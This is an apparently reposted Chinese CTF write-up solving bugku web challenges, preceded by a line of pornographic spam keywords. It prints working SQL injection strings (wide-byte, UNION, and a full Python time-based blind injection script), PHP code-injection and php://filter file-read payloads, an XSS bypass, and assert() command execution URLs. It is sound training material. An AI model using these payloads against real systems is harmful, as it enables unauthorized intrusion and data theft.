久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

bugku Web WriteUp

 新用戶88342ytu 2020-10-13

bugku Web WriteUp

剛剛接觸ctf沒多久,,做ctf-練習(xí)平臺上的題目,,有些新的題目,,在網(wǎng)上沒有找到對應(yīng)的writeup,所以做了之后就想自己寫一個,也順便理理自己的思路,。(沒有太多經(jīng)驗…可能對有些題目的理解還不深刻…)

  • 簽到題
    加群在公告里就可以看到flag值了,。

  • Web2
    F12,立馬就看到flag的值了,。
    flag就在左下側(cè)顯示的源碼里

  • 文件上傳測試
    題目說是要上傳php文件,,那我們先上傳一個php文件,,頁面提示非圖片文件,;那再上傳一個圖片,,就提示說只能上傳php文件,那這個題目就是要讓我們繞過對文件類型的檢測,,成功上傳一個圖片格式的文件(題目真正要讓我們上傳的是圖片文件),。嘗試去修改了http頭中的Content-Type,如下,,即繞過檢測,,得到flag。
    修改http頭中的Content-Type字段

    這個題目的文件檢測方法是:在上傳時先檢測上傳的是不是php文件,,直接檢測了文件的后綴名是不是.php,,如果是就通過了這一步驟的檢測。接下來,,是判斷了Content-Type的值,,如果是image那就認(rèn)為是上傳了圖片文件。服務(wù)器端并沒有對文件的頭進(jìn)行檢測,,所以上傳文件實質(zhì)到底是php還是圖片格式還是其他什么格式,,都是無所謂的。網(wǎng)上的WriteUp都是說要用截斷的方法,,通過%00截斷之后,,文件后綴名發(fā)生改變來繞過檢測。但是看下面這種情況:

    可以看到,,在Content-Type不是代表圖片格式文件的話,,%00截斷去繞過是沒有用的。所以真正的檢測文件類型的方式應(yīng)該是通過Content-Type,,并不是文件上傳后,,保存到服務(wù)器上的文件后綴名,。

  • 計算題
    我們在網(wǎng)頁給出的題目中輸入正確答案,,發(fā)現(xiàn)輸入框的輸入長度是被限制了的,只能輸入一個數(shù)字,,那就直接在http頭中修改要上傳的計算結(jié)果,。

    或者可以在瀏覽器中修改網(wǎng)頁源碼,將輸入框的長度限制改為允許輸入多個數(shù)字,。
    在瀏覽器中修改網(wǎng)頁源碼

  • web基礎(chǔ) $_GET
    這是很基礎(chǔ)的題目,,就是讓我們熟悉一下前端與后臺傳遞數(shù)據(jù)的GET方式。
    GET傳遞參數(shù)

  • web基礎(chǔ) $_POST
    使用FireFox的hackbar工具,,如圖,。當(dāng)然也可以自己寫一個小的python腳本去提交post參數(shù)。
    POST傳遞參數(shù)

  • 矛盾
    題目給出的php代碼表示,需要get傳遞num值,,但是需要它不是數(shù)字,,然后又要求它是1。這里用到的知識點是:在PHP中,,當(dāng)數(shù)字與字符串作比較時,,系統(tǒng)會先將字符串轉(zhuǎn)化為數(shù)字,再與數(shù)字進(jìn)行比較,。所以,,這里就是要構(gòu)造一個字符串,使其轉(zhuǎn)換為數(shù)字之后為1,,那就是1后面跟任意的字符(非數(shù)字)就可以了(不需要是%00),。比如,num=1fdafdfaf,,這樣比較結(jié)果是:與1相等,。
    矛盾

  • Web3
    打開網(wǎng)頁以后就一直在彈框,應(yīng)該是寫了一堆a(bǔ)lert,,在一直彈框的情況下看不到網(wǎng)頁源碼,,所以禁止彈框后,F(xiàn)12查看,,發(fā)現(xiàn)隱藏的html實體,,轉(zhuǎn)換過來即得到flag。如圖,。
    這里寫圖片描述

  • sql注入
    題目說是sql注入,,那就先測試一下。構(gòu)造id=1',,訪問發(fā)現(xiàn)是沒有錯誤信息的…那應(yīng)該是單引號’被轉(zhuǎn)義過了,。這種情況下要用到單引號的payload就都沒辦法起到作用了。這道題真正的思路是寬字節(jié)注入(寄幾想不到),。

    在GBK編碼時,,mysql會認(rèn)為兩個字符是一個漢字(在前一個字節(jié)的ascii碼大于128的情況下)。而經(jīng)過轉(zhuǎn)義之后的單引號’會變?yōu)閈’,,即%5c%27,。構(gòu)造id=1%df%27%23,在經(jīng)過轉(zhuǎn)義傳遞給mysql時,,就是id=1%df%5c%27%23,,mysql在解析時,會認(rèn)為%df%5c是一個漢字,,而%27就會閉合掉原本sql語句中的(左)單引號,,即select xxx from xxx where id='%df%5c'#',,%23用于注釋掉原本sql語句中的(右)單引號。這就是寬字節(jié)注入的原理,。

    那接下來就要構(gòu)造sql語句,,來查詢key表,id=1的string字段了,。構(gòu)造id=1%df%27 union select 1,database()%23,,得到數(shù)據(jù)庫名稱為sql5。
    得到數(shù)據(jù)庫名稱

    構(gòu)造id=1%df%27 union select 1,string from sql5.key where id=1%23,,就得到最終結(jié)果,。
    得到flag

  • SQL注入1
    題目給出了我們部分代碼,告訴我們:但凡我們需要用到的關(guān)鍵字,,它都給過濾掉了,。而且這段代碼中有一個xss過濾的過程…這個函數(shù)放在這個sql注入的題目中就很扎眼了…為什么會突然在sql注入的題目中特別列出一個xss過濾的函數(shù)?

    可以肯定的是,,我們要想查詢到key表中id=1的hash字段值,,就必然會用到union、select,、from,、where,但是題目中過濾掉了,,所以就想辦法怎么讓它繞過這個過濾,,然后就想到把html的標(biāo)簽放到關(guān)鍵字中間,拆開一個關(guān)鍵字,,這個就可以繞過第一步對關(guān)鍵字的檢測,,而在過濾掉xss后,原本被拆開的關(guān)鍵字就又“復(fù)原”,,我們就可以用起來了,。

    和上一個題目一樣,先查到數(shù)據(jù)庫名稱,,再找flag,。數(shù)據(jù)庫名稱為sql3。
    得到數(shù)據(jù)庫名稱
    得到flag值

  • 你必須讓它停下
    這道題的名字就叫“你必須讓它停下”,,打開頁面之后,,網(wǎng)頁一直在刷新,,切換,,我要做的就是讓它可以停下,那想到用BurpSuite抓包,,可以直接看到網(wǎng)頁源碼,。
    這里寫圖片描述

    (同一個http頭多提交幾次就可以看到flag了,。)

  • 本地包含
    題目給出的源碼中包含了flag.php文件,我們要找到flag一定就在這個文件中,。val_dump()把$a打印到頁面中,,那我們只要讓$a是flag.php的內(nèi)容就可以了。所以想辦法構(gòu)造hello的值,。hello=file_get_contents('flag.php') 在源碼中就可以查看到flag的值了,。這里用到了file_get_contents()這個函數(shù)。
    這里寫圖片描述

    或者還可以這樣:
    hello=1);$file=fopen("flag.php","r");echo fread($file,filesize("flag.php"));fclose($file);//
    通過注入的方式來得到flag.php的內(nèi)容,。
    這里寫圖片描述

  • 變量1
    看網(wǎng)頁中顯示的代碼,,首先要對傳遞的args參數(shù)進(jìn)行正則匹配,\w+匹配字母,、數(shù)字,、下劃線,如果匹配不到,,那就輸出args error,,匹配到就會執(zhí)行

    eval("var_dump($$args);");

    這里注意到$$args,這是php的一個特點:變量可以當(dāng)作另一個變量的變量名,。PHP一個比較有意思的變量$GLOBALS:一個包含了全部變量的全局組合數(shù)組,。變量的名字就是數(shù)組的鍵。這個題目就是用到了這個變量,。構(gòu)造args=GLOBALS
    GLOBALS

  • Web4
    查看源碼,,看到源碼中有ascii碼表示的字符串,解密以后得到對應(yīng)的代碼,。根據(jù)代碼輸入相應(yīng)的password輸入即可,。(password為67d709b2b54aa2aa648cf6e87a7114f1)
    解密得到源碼

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof a) 
    {
        if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
            return!0;
        alert("Error");
        a.focus();
        return!1
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  • Web5
    和上一個題目類似,在源碼中看到,,另一種形式表示的字符串,,看到其他WriteUp說把這些字符串放到goole上console直接就出來了,但是我一直報錯…沒有弄清楚原因在哪里,。

  • flag在index中
    題目告訴我們flag是在index.php中,,但是查看源碼是沒有flag的,所以應(yīng)該是被過濾掉了,,只有部分源碼可以查看到,。在源碼中還發(fā)現(xiàn),<a href="./index.php?file=show.php">click me? no</a> 很像文件包含,。所以構(gòu)造file=php://filter/read=convert.base64-encode/resource=index.php
    這里寫圖片描述

    將index.php文件以base64編碼形式輸出,,將輸出內(nèi)容解碼,即查看到index.php的全部源碼,。如圖,。
    這里寫圖片描述
    php://filter/read=<讀鏈需要應(yīng)用的過濾器列表>/resource=index.php

  • phpcmsV9
    任意文件上傳漏洞….我是用的騰訊的云服務(wù)器,,在提交參數(shù)時提示沒有content字段….網(wǎng)上說應(yīng)該是沒有騰訊云的讀權(quán)限,所以就沒有做這個題目了…

  • 海洋CMS
    這是海洋cms模版的前臺getshell漏洞,,構(gòu)造的payload都是固定的,。該模版用了eval函數(shù),并且在用之前沒有足夠的檢測,,所以會出現(xiàn)問題,。

  • 輸入密碼查看flag
    提示說密碼是五位數(shù)字,那范圍就是10000-99999,,爆破得到結(jié)果,,密碼為13579。
    這里寫圖片描述

  • 前女友
    首先index.php中點擊“鏈接”之后跳轉(zhuǎn)到code.txt中,,這里顯示的代碼表示:要提交3個變量,,并且v1、v2兩個字符串不相等,,但是它們的md5加密值相等,,在網(wǎng)上查找之后發(fā)現(xiàn)這兩個字符串是QNKCDZO和240610708;傳遞的v3值要與flag相等才可以echo flag,,這樣就要想辦法繞過if(!strcmp($v3, $flag)) 判斷,。

    用到了php中strcmp這個函數(shù)的一個漏洞:當(dāng)比較對象為字符串和數(shù)組時,返回結(jié)果一定是0,,所以我們只要讓$v3是一個數(shù)組就可以了,。最終構(gòu)造payload為?v1=QNKCDZO&v2=240610708&v3[]=1 (注意是要在訪問index.php時傳遞這些參數(shù))。php中通過在變量后加方括號,,使傳入變量為數(shù)組,。
    這里寫圖片描述

  • JavaScript
    查看網(wǎng)頁源碼,js腳本判斷了clickcount的值,,在我們點擊次數(shù)大于1000000時,,會生成一個form表格并post方式自動提交,而且是提交到本頁面,,那么我們就偽造一個這樣的提交就可以了,。(提交之后在服務(wù)器端還有一次驗證的,所以提交的clicks值需要滿足clicks>=1000000)
    這里寫圖片描述

  • 成績單
    首先,,題目是要讓我們查詢成績,,猜測應(yīng)該是跟sql注入有關(guān)系的,先測試一下:分別輸入1,、1',、1'#,只有在輸入為1’時,沒有成績顯示,,所以這里是有注入點的,,并且服務(wù)器端屏蔽掉了錯誤提示,。

    接下來嘗試union select,,分別要得到flag所在的數(shù)據(jù)庫名、表名,、列名,。如下圖,構(gòu)造' union select database(),database(),database(),database()#
    (這里不能是1' union select database(),database(),database(),database()#,,如果輸入這個語句,,發(fā)現(xiàn)顯示的內(nèi)容和直接輸入1 是一樣的,所以這里應(yīng)該是服務(wù)器端對頁面顯示進(jìn)行了限制,,只允許輸出一行,,而我們構(gòu)造的查詢database()的結(jié)果是在第二行的,所以無法顯示出來,。所以我們需要讓我們構(gòu)造的查詢是在查詢結(jié)果中的第一行的,。)

    這樣我們就得到了數(shù)據(jù)庫名為skctf_flag
    這里寫圖片描述

    接下來,我們要找到skctf_flag數(shù)據(jù)庫中有幾個表,,然后找到和flag相關(guān)的表名,。分別構(gòu)造
    ' union select 1,count(table_name),1,1 from information_schema.tables where table_schema='skctf_flag' #

    ' union select 1,table_name,1,1 from information_schema.tables where table_schema='skctf_flag' limit 1 offset 0# ,得到這個數(shù)據(jù)庫中有2個表,,兩個表名分別為fl4g,、sc。如圖,。
    這里寫圖片描述

    這里寫圖片描述
    接下來就是知道skctf_flag.fl4g這個表中有幾列,,列名都是什么,哪個列是和我們要找的flag有關(guān)的,。類似地,,分別構(gòu)造

    ' union select 1,count(column_name),1,1 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g'#

    ' union select 1,column_name,1,1 from information_schema.columns where table_schema='skctf_flag' and table_name='fl4g' limit 1#

    得到該表中只有一個列,列名和數(shù)據(jù)庫名相同,,也為skctf_flag

    這里寫圖片描述

    這里寫圖片描述

    這里寫圖片描述
    information_schema這個數(shù)據(jù)庫是mysql自帶的,,它提供了訪問數(shù)據(jù)庫元數(shù)據(jù)的方式,即數(shù)據(jù)庫名或表名,,列名等等,。這個數(shù)據(jù)庫包含了一些在sql注入中常用到的表,可以查閱相關(guān)資料,,了解一下,。

    這里也要注意一下:利用information_schema這個數(shù)據(jù)庫來查詢某個特定數(shù)據(jù)庫中所有的表名、某個特定數(shù)據(jù)庫特定表的所有列名的方法,。這個題目不需要編寫python腳本,,很快就可以拿到我們要的結(jié)果,。

    這道題也可以使用sqlmap工具去做,在注入的方式已經(jīng)很熟悉后,,可以直接使用來節(jié)省更多時間,。下載sqlmap(需要在python2下使用,網(wǎng)上有很多安裝教程),,將burp中截取的http包保存為.txt文件,,執(zhí)行對應(yīng)的sqlmap命令,分別爆庫,、爆表,、爆列,如下圖,。(這里只用到了幾個簡單的sqlmap命令,,其他更多的用法,可以自行學(xué)習(xí)….emmmm…同在學(xué)習(xí)過程中)

    這里寫圖片描述

    這里寫圖片描述

    這里寫圖片描述

  • Web6
    題目提示說“我感覺你得再快點”,,第一反應(yīng)是在網(wǎng)頁刷新過程中,,會有一些信息一閃而過,捕捉不到,,所以用burpsuite抓包看一下…雖然跟一開始的猜想不一樣,,但是還是得到了有用信息的。服務(wù)器響應(yīng)的內(nèi)容中包含有一個flag字段值(以’=’結(jié)尾,,猜想可能是base64編碼的結(jié)果),,對該字段值進(jìn)行解密。

    這里寫圖片描述

    這里寫圖片描述

    可以看到,,這個字段給了我們一個flag…并且這個flag還是base64加密的形式(從末尾的’=’看出來的),,再解密一次得到結(jié)果。(這里對應(yīng)的結(jié)果是:74242)

    網(wǎng)頁還提示了”now you have to post the margin what you find”,,那就是說我要post一個margin值,。這里我嘗試了在原來的http請求頭中加入margin=74242,但是得到的響應(yīng)結(jié)果和之前一樣,??淳W(wǎng)上的方法:用python寫腳本,加上會話去訪問,、提交,。如下圖。(這里也沒弄清,,為什么使用工具,,帶著原本的cookie值去提交margin值不能得到flag。)

    這里寫圖片描述

  • cookies欺騙
    打開頁面之后,注意到頁面自動跳轉(zhuǎn),,url變?yōu)?
    http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
    GET方式提交了line和filename兩個變量,,而且filename是base64編碼的結(jié)果,解碼之后發(fā)現(xiàn)此時的filename為keys.txt,,猜測line是代表第幾行,。那首先想到的就是讓filename是index.php,并且修改line,,最終得到的index.php的內(nèi)容如下:

    <?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
    $file_list = array(
        '0' =>'keys.txt',
        '1' =>'index.php',
    );
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
        $file_list[2]='keys.php';
    }
    if(in_array($file, $file_list)){
        $fa = file($file);
        echo $fa[$line];
    }
    ?>

    理解這段代碼,。我們要做的事情就是通過構(gòu)造一個cookie,,使file_list中包含keys.php,,然后申請輸出這個文件的內(nèi)容。寫一個小的python腳本即可,。
    這里寫圖片描述

    或者使用burpsuite直接修改http頭,,如下。

    這里寫圖片描述

  • XSS
    題目的意思是讓我們注入一段xss代碼,,這段代碼中要包含alert(_key_),,包含成功以后,_key_會自動替換為我們要的flag值,。

    頁面中沒有輸入框,,所以應(yīng)該是通過get方式來注入的,試了一下id=1,,發(fā)現(xiàn)頁面中出現(xiàn)了一個1(我也不知道為什么正好嘗試了id這個字段名)….這個時候再看網(wǎng)頁源碼,,發(fā)現(xiàn)有一段js代碼很關(guān)鍵,頁面中顯示出來的1就是通過這段代碼中的document.getElementById('s').innerHTML = s; 來實現(xiàn)的,。

    整個流程應(yīng)該是:通過get方式傳遞的id字段值給了js代碼中的s變量,,js又通過這一變量改變了網(wǎng)頁中的id='s'的標(biāo)簽的內(nèi)容。那我們傳遞了什么內(nèi)容,,頁面就應(yīng)該會顯示什么內(nèi)容,。所以構(gòu)造如下xss代碼:

    這里寫圖片描述

    發(fā)現(xiàn)我們輸入的代碼并沒有被認(rèn)為是代碼從而執(zhí)行,而是以文本的形式顯示在了頁面中,。查看網(wǎng)頁源碼,,發(fā)現(xiàn)在js代碼中,<,、>都是以html實體形式存在的,,那應(yīng)該是傳遞給js的id值是通過html轉(zhuǎn)義了的。這里用\u003c,、\u003e來分別代替(js代碼對尖括號的轉(zhuǎn)義方式),。結(jié)果如下:

    這里寫圖片描述

  • never give up
    打開頁面之后,就顯示了一句話啥也沒,所以F12查看源碼,,看到有1p.html提示,,訪問一下發(fā)現(xiàn)會直接跳轉(zhuǎn)到www.bugku.com,那我們用burpsuite抓包看一下這中間還有什么過程,。抓包結(jié)果如下:(我抓包抓到的結(jié)果一直都是1p.html請求訪問www.bugku.com,,后來是在burpsuite的target選項卡下看到的)

    這里寫圖片描述

    可以看到response中有一段字符串,對其進(jìn)行urldecode,,發(fā)現(xiàn)其中包含一段base64編碼的字符串,,再對這部分字符串進(jìn)行解密,再urldecode,,(這里都是根據(jù)我們所看到的字符串的形式來決定對其進(jìn)行哪種形式的解密的),,最終得到一段php代碼,如下:

    <?php
    if(!$_GET['id'])
    {
        header('Location: hello.php?id=1');
        exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))
    {
        echo 'no no no no no no no';
        return ;
    }
    $data = @file_get_contents($a,'r');
    if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
    {
        require("f4l2a3g.txt");
    }
    else
    {
        print "never never never give up !!!";
    }
    ?>

    根據(jù)要求來構(gòu)造相應(yīng)的參數(shù)值,。得到flag,。

    這里寫圖片描述

    $data = @file_get_contents($a,'r'); 這里利用了file_get_contents()函數(shù)的特性:當(dāng)用到php://input 時,file_get_contents() 支持字節(jié)流輸入,。只要將a設(shè)為php:input ,,且post過去bugku is a nice plateform! ,就可以給data賦相應(yīng)值,。

    代碼中,,對id的判斷也存在前后矛盾的地方,所以這里利用了之前提到的php字符串和數(shù)字比較時的特點來繞過這一驗證,。

    eregi()函數(shù)在一個字符串搜索指定的模式的字符串,。并且這個函數(shù)會對%00截斷。而strlen() 函數(shù)是不會截斷%00,。根據(jù)這一特性,,繞過驗證。

    這道題目中,,也可以直接去訪問f4l2a3g.txt這個文件,。

  • welcome to bugku
    打開頁面,F(xiàn)12查看源碼發(fā)現(xiàn)有文件包含,,而且在包含文件之前有一個驗證,,有了上一個題目的經(jīng)驗,我們就可以很快寫出繞過這個驗證的payload,。(利用file_get_contents()這個函數(shù)的特性,。直接file=index.php得不到結(jié)果,所以想到使用php://filter,。)

    這里寫圖片描述

    對頁面出現(xiàn)的字符串進(jìn)行base64解密,,我們就可以得到index.php的源碼,。如下:

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能現(xiàn)在就給你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->

讀完之后$password = unserialize($password); 是可以引起我們的注意的。

unserialize() 函數(shù)對單一的已序列化的變量進(jìn)行操作,,將其返回PHP的值,。若被解序列化的變量是一個對象,返回的值就是object類型,。另外,,這里限制了不允許直接包含名稱中含有flag的文件。

分析完index.php,,再將hint.php中的代碼也拿到,,如下:

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>

這里定義了一個類,類中包含__tostring()函數(shù),,用兩個下劃線來定義的事件,,都是在引用類時,自動調(diào)用的,。在函數(shù)中可以包含文件,,并且對包含文件的文件名沒有限制,。另外,,我們可以知道我們要的flag就在flag.php中,所以我們就是要想辦法調(diào)用__tostring()這個函數(shù),,讓它包含flag.php文件,。那就是要想辦法引用Flag這個類。前面說到 unserialize() 如果被解序列化的變量是一個對象,,那它的返回值就是一個對象,,而且在我們這個代碼中,還會echo這個對象,,那echo的過程,,就是引用這個對象的過程,我們就可以利用這個,,來調(diào)用__tostring()函數(shù),。所以我們需要根據(jù)Flag類來給password傳遞一個合適的序列化變量。構(gòu)造如下:

這里寫圖片描述

  • login1
    題目提示是基于約束的sql攻擊,,我參考了下面這篇文章,。

http://blog.csdn.net/qq_32400847/article/details/54137747

里面介紹了基于約束的sql攻擊的原理。對于這道題,,注冊用戶名為admin ' 的賬號,,然后以admin+密碼登錄,就可以以管理員的身份登錄,,從而拿到flag,。(可以在本地數(shù)據(jù)庫測試文章中提到的sql語句,,使理解更深刻。)

這里寫圖片描述

  • 過狗一句話
    題目給出的提示內(nèi)容很容易理解,。那我們就是要構(gòu)造一些代碼,,通過assert() 執(zhí)行,從而得到結(jié)果,。(這類情況一般都是用phpinfo()函數(shù)來測試是否能執(zhí)行任意函數(shù)的,。)

    http://120.24.86.145:8010/?s=print_r(glob("*"))

    http://120.24.86.145:8010/?s=show_source("flag.txt")

    glob("*") 可以讀取文件列表。show_source() 高亮顯示文件內(nèi)容,。

    這里寫圖片描述

    這里寫圖片描述

  • maccms-蘋果cms

  • appcms

  • 小明的博客

  • 各種繞過喲
    題目給出的代碼很容易理解,,就是要找到兩個字符串,兩者不相等,,但是兩者經(jīng)過sha1()函數(shù)后卻是相等的,。之前題目有讓我們找兩個不相等,但是md5()之后是相等的字符串,,我們是找了一對兒特殊的字符串來繞過驗證的,。

    這個題目,是利用了sha1() 函數(shù)的漏洞:其無法處理數(shù)組類型,,會報錯并返回false,,這樣,當(dāng)我們使passwd和uname均為數(shù)組時,,就可以繞過驗證,。

    這里寫圖片描述

  • Web8
    還是利用之前提到的file_get_contents()函數(shù)的特性。

    這里寫圖片描述

  • 字符,?正則,?
    題目很簡單,就是根據(jù)給出的正則表達(dá)式構(gòu)造一個字符串,,通過驗證,。

    這里寫圖片描述

    關(guān)于正則表達(dá)式的介紹,我覺得下面這篇文章不錯,。

    https://www.cnblogs.com/zery/p/3438845.html

    “.”匹配除了換行符以外的任何字符
    “*”(貪婪) 重復(fù)零次或更多
    “{n,m}” 重復(fù)n到m次
    “\/” 代表“/”
    “[[:punct:]]” 匹配任意標(biāo)點符號
    “/i” 代表大小寫不敏感

  • 考細(xì)心
    打開頁面之后什么也沒有,,提示找不到…在網(wǎng)上找到思路說要掃描網(wǎng)站。我在這里使用了dirsearch工具,,掃描結(jié)果如下:

    這里寫圖片描述

    有index.php和robot.txt兩個文件,。訪問robot.txt文件,又給我們提示了resusl.php文件,,訪問,,它告訴了我們一句代碼:

    這里寫圖片描述

    看到頁面顯示的ip地址,還以為是跟偽造ip什么的有關(guān)系…那句代碼提示我們要提交一個x值,,而題目還提示我們要想辦法變成admin,,所以提交x=admin ,。(感覺這個題目的提示還是很委婉的,有點懵逼,。)

    這里寫圖片描述

  • php代碼審計

  • 求getshell
    題目說要上傳一個圖片文件,,而不是php文件,那首先按要求上傳一個圖片文件,,發(fā)現(xiàn)上傳成功后,,圖片被存儲到服務(wù)器端,并且給出鏈接地址,,可以直接訪問,。所以就想著,可以繞過文件檢測,, 成功上傳一個一句話木馬(php文件)到服務(wù)器中….上傳成功,,就可以得到flag(這里無所謂上傳的php文件內(nèi)容是什么,只要上傳成功php文件,,就可以拿到),。通過修改Multipart/form-data,來繞過waf的檢測,,這里還要知道一些php的別名,。

    正確答案的思路…..如下:

    這里寫圖片描述

  • flag.php
    題目提示hint,嘗試?hint=0 ,,即查看到了源碼,。理解源碼,我們要做的事情就是使得 unserialize($cookie) === "$KEY" 成立(“===”代表不僅要判斷值相等,,還要判斷類型相等)。那就是要讓cookie值是key的序列化就可以了,。

    看到源碼最下方還有$KEY='ISecer:www.isecer.com' ,,構(gòu)造了這個字符串的反序列化,然后放到cookie中提交…但是沒有結(jié)果….后來仔細(xì)閱讀源碼,,發(fā)現(xiàn)給$KEY 賦值是在最后一個else中執(zhí)行的,,也就是說,$KEY 其實是為空的,,所以真正的反序列化為s:0:""

    這里寫圖片描述

    (提示hint,,竟然是在提交變量時用到的….還有ISecer,是大寫的S,,剛開始一直粗心寫成是Isecer….)

  • web15
    提示我們寫python腳本,,給出的代碼很好理解,可能有問題的地方很容易猜到,,就是在將ip值插入到數(shù)據(jù)庫中的時候,。正確解題思路是基于時間的盲注,,那我們就要構(gòu)造X-FORWARD-FOR。
    首先,,找到數(shù)據(jù)庫的名稱,。代碼如下:

import requests
import string

guess = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation
url = "http://120.24.86.145:8002/web15/index.php"

def findDatabase():
    answer = ''
    for i in range(1,50):
        flag = 0
        for j in guess:
            data = "' + (select case when (substring((select database()) from %d for 1))='%s' then sleep(5) else 1 end) and '1'='1"%(i,j)
            headers = {"X-FORWARDED-FOR":data}
            try:
                requests.get(url,headers = headers,timeout = 4)
            except:
                flag = 1
                answer += j
                print(answer)
                break
        if flag == 0:
            break
    print("數(shù)據(jù)庫名為:" + answer)


if __name__ == '__main__':
    findDatabase() #最終輸出結(jié)果為web15
    print("OVER")

然后找web15 數(shù)據(jù)庫中表的個數(shù)。代碼如下:

def findTableNum():
    for i in range(1,50):
        data = "' + (select case when (select count(table_name) from information_schema.tables where table_schema='web15')=%d then sleep(5) else 1 end) and '1'='1"%(i)
        headers = {"X-FORWARDED-FOR":data}
        try:
            requests.get(url,headers = headers,timeout = 4)
        except:
            flag = 1
            print(i)
            break
    print("表的個數(shù)為:")
    print(i)

然后找出這兩個表的名稱,,看哪個是和flag相關(guān)的,。代碼如下:

def findTableName():
    for i in range(0,2):
        answer = ''
        for j in range(1,50):
            flag = 0
            for k in guess:
                data = "' + (select case when (substring((select table_name from information_schema.tables where table_schema='web15' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j,k)
                headers = {"X-FORWARDED-FOR":data}
                try:
                    requests.get(url,headers = headers,timeout = 4)
                except:
                    flag = 1
                    answer += k
                    print(answer)
                    break
            if flag == 0:
                break
        print("表名為:" + answer)

得到的表名為client_ip、flag,。那我們就再找到flag這個表中的列,,里面存儲的應(yīng)該就是我們要的flag值了。
類似地,,尋找列數(shù),,再分別找到列名。代碼如下:

def findColumnNum():
    for i in range(1,50):
        data = "' + (select case when (select count(column_name) from information_schema.columns where table_schema='web15' and table_name='flag')=%d then sleep(5) else 1 end) and '1'='1"%(i)
        headers = {"X-FORWARDED-FOR":data}
        try:
            requests.get(url,headers = headers,timeout = 4)
        except:
            flag = 1
            print(i)
            break
    print("列的個數(shù)為:")
    print(i)

def findColumnName():
    for i in range(0,1):
        answer = ''
        for j in range(1,50):
            flag = 0
            for k in guess:
                data = "' + (select case when (substring((select column_name from information_schema.columns where table_schema='web15' and table_name='flag' limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j,k)
                headers = {"X-FORWARDED-FOR":data}
                try:
                    requests.get(url,headers = headers,timeout = 4)
                except:
                    flag = 1
                    answer += k
                    print(answer)
                    break
            if flag == 0:
                break
        print("列名為:" + answer)

這個表中只有一個列,,列名為flag,。接下來就是查詢web15數(shù)據(jù)庫中的flag表中flag列的值了。代碼如下:

def findFlag():
    answer = ''
    for i in range(1,50):
        flag = 0
        for j in guess:
            data = "' + (select case when (substring((select flag from web15.flag limit 1 offset 0) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(i,j)
            headers = {"X-FORWARDED-FOR":data}
            try:
                 requests.get(url,headers = headers,timeout = 4)
            except:
                flag = 1
                answer += j
                print(answer)
                break
        if flag == 0:
            break
    print("flag為:" + answer)

最終執(zhí)行的結(jié)果是:flag{cdbf14c9551d5be5612f7bb5d2867853}

整個過程就是這樣,,最關(guān)鍵的就是每一個data 怎么構(gòu)造,。要很好地理解基于時間注入的原理,理解這里用到的sql語句的作用,。(在網(wǎng)上有很多介紹的帖子,,先看清楚整體的原理,然后再理解具體的sql語句的作用,。(我是這樣做的…之前沒怎么接觸過sql語句,,第一次看的時候還是很懵逼的。)

 1. select case when xxx then yyy eles zzz end 
    這個語句是要判斷xxx是否正確,,正確則執(zhí)行yyy,,錯誤就執(zhí)行zzz。 
 2. data中的 and '1'='1 作用是閉合了原本values('$ip') 中的右引號,,不加的話,,sql語句就是錯誤的。(可以在本地數(shù)據(jù)庫中測試insert into user values('1' + (select case when 1=0 then 2 else 3 end)),,最終插入的結(jié)果是4,。)
 3. 這里還用到了之前提到過的 如何查找特定數(shù)據(jù)庫中的表名 如何查找特定數(shù)據(jù)庫、特定表的列名,。這樣比起找整個服務(wù)器上所有的數(shù)據(jù)庫,、表、列要簡單很多,。
 4. sql注入語句的構(gòu)造,,都是很類似的,,有一些函數(shù)是常用到的,見到以后要多積累,,真正理解,。
 5. 這應(yīng)該是我第三次看基于時間的sql注入類型的題目,感覺比起第一次理解的深刻太多了,。繼續(xù)進(jìn)步,!
  • 文件包含2

  • 實戰(zhàn)2-注入
    這個題目給了我們一個實際的網(wǎng)站(所以叫實戰(zhàn)嘛~),告訴我們flag就是數(shù)據(jù)庫的最后一個表名字,,那我們可以猜測這里是有sql注入的…剛開始我嘗試了在contacts里面注入(因為這里有可以提交內(nèi)容的地方…),,無果….然后就goole了一下這個網(wǎng)站的被曝出的漏洞,就發(fā)現(xiàn)了一個已經(jīng)寫好的payload,,就是說找到了注入點,。如下:

    這里寫圖片描述

    這里寫圖片描述

